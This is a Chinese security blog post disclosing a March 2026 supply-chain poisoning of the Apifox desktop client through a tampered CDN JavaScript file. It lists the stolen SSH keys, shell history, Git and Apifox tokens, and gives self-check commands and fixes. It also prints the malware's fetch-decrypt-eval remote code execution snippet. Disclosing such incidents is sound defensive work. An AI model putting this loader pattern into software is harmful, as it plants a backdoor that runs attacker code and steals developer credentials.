紧急自查!Apifox被投毒,使用者速看:你的Git、SSH、云密钥可能已泄露

关注我的公众号:【编程朝花夕拾】,可获取首发内容。

01 引言

近期,国内流行的 API 协作平台 Apifox 遭遇了一起严重的供应链投毒攻击。攻击者通过篡改 CDN 托管的 JavaScript 文件,在官方桌面客户端中植入恶意代码,意图窃取开发者的核心凭证并实施远程控制。

这场攻击从 2026 年 3 月 4 日开始,持续活跃了 18 天,直到 3 月 22 日恶意域名才停止解析。由于 Apifox 被广泛应用于研发团队,此次事件的影响范围极广,Windows、macOS 和 Linux 平台用户均受影响。

02 事件概述

2.1 概述

2026年3月25日,安全研究人员披露了一起针对知名API协作平台Apifox的供应链投毒攻击。攻击者通过篡改Apifox官方CDN托管的JavaScript文件,在桌面端应用中植入了恶意代码,意图窃取开发者的SSH密钥、Git凭证、命令行历史等敏感信息,并具备远程执行任意代码的能力。

此次攻击利用了Apifox基于Electron框架开发的安全缺陷,在未启用沙盒(Sandbox)的情况下,通过网络加载的恶意JS代码获得了本地Node.js环境的完整权限。攻击从2026年3月4日开始,持续至3月22日,共活跃18天。

2.2 过程

Apifox桌面端启动时会加载一个用于事件追踪的JS文件:

hxxps://cdn[.]apifox[.]com/www/assets/js/apifox-app-event-tracking.min.js

正常情况下该文件大小为34KB,但在3月4日之后,用户可能请求到被投毒的版本(77KB)。投毒后的文件在合法SDK代码后追加了约42KB的高度混淆恶意代码。

2.3 核心恶意功能

攻击者在代码中硬编码了一个RSA-2048私钥,用于加密上报的敏感信息和解密C2下发的指令。这一设计失误使得任何获取该代码的人都能解密C2通信,也是本次攻击链得以完整还原的关键。

恶意代码通过MAC地址、CPU型号、主机名、用户主目录、操作系统平台构造唯一标识,经SHA-256哈希后存储在localStorage中。从localStorage读取common.accessToken,调用官方API获取用户邮箱和姓名,经RSA加密后附加到请求头中上报.通过RSA加密的payload解密后直接执行,实现完全的远程代码执行能力。

C2通信与远程代码执行

js 复制代码
const r = await fetch(REMOTE_JS_URL, { headers: h });
const payload = (await r.text()).trim();
const code = rsaDecrypt(payload);
eval(code); // 任意远程代码执行

03 影响范围

3.1 受影响的版本和平台

  • 受影响版本:Apifox SaaS版桌面客户端 2.8.19 以下版本
  • 受影响平台:Windows、macOS、Linux全平台
  • 受影响时间窗口:2026年3月4日至3月22日

3.2 数据窃取的范围

攻击脚本会系统性收集并加密外传以下敏感信息:

  • SSH私钥:利用~/.ssh/id_rsa直接登录服务器
  • Shell命令历史:使用history文件获取泄露明文密码、Token、数据库连接串等
  • Apifox凭证:通过accessToken、userId接管账号,窃取API文档
  • Git凭证:通过Git Token窃取代码仓库

04 自查指南

通过脚本检查:

bash 复制代码
# Windows PowerShell下执行
Select-String -Path "$env:APPDATA\apifox\Local Storage\leveldb\*" -Pattern "rl_mc","rl_headers" -List | Select-Object Path

# macOS 终端下执行
grep -arlE "rl_mc|rl_headers" ~/Library/Application\ Support/apifox/Local\ Storage/leveldb

如果有输出具体文件则可以判定中招,需要及时采取补救措施。

我赶紧查了我的电脑,所幸没有波及。

05 修复处理

  • 版本升级到**2.8.19**及以上
  • 重置凭证
  • 阻断恶意域名

官方也给出了修复建议:

相关推荐
Yupureki2 小时前
《Linux系统编程》18.线程概念与控制
java·linux·服务器·c语言·jvm·c++
帅得不敢出门2 小时前
Android Framework中调用由java编译成的jar接口
android·java·framework·jar
墨^O^2 小时前
并发控制策略与分布式数据重排:锁机制、Redis 分片与 Spark Shuffle 简析
java·开发语言·c++·学习·spark
丶小鱼丶2 小时前
数据结构和算法之【阻塞队列】上篇
java·数据结构
zb200641202 小时前
MySQL——表操作及查询
java
人道领域2 小时前
LeetCode【刷题日记】:滑动窗口算法详解:从暴力法到最优解
java·算法·leetcode
迷藏4942 小时前
# 发散创新:用Locust实现高并发场景下的精准压力测试实战在现代微服务架构中,**系统稳定性与性能瓶颈的识别能力直接决定了产品上线后
java·python·微服务·架构·压力测试
AskHarries2 小时前
他用20年拿下WSBK冠军,而你还没开始做第一个产品
后端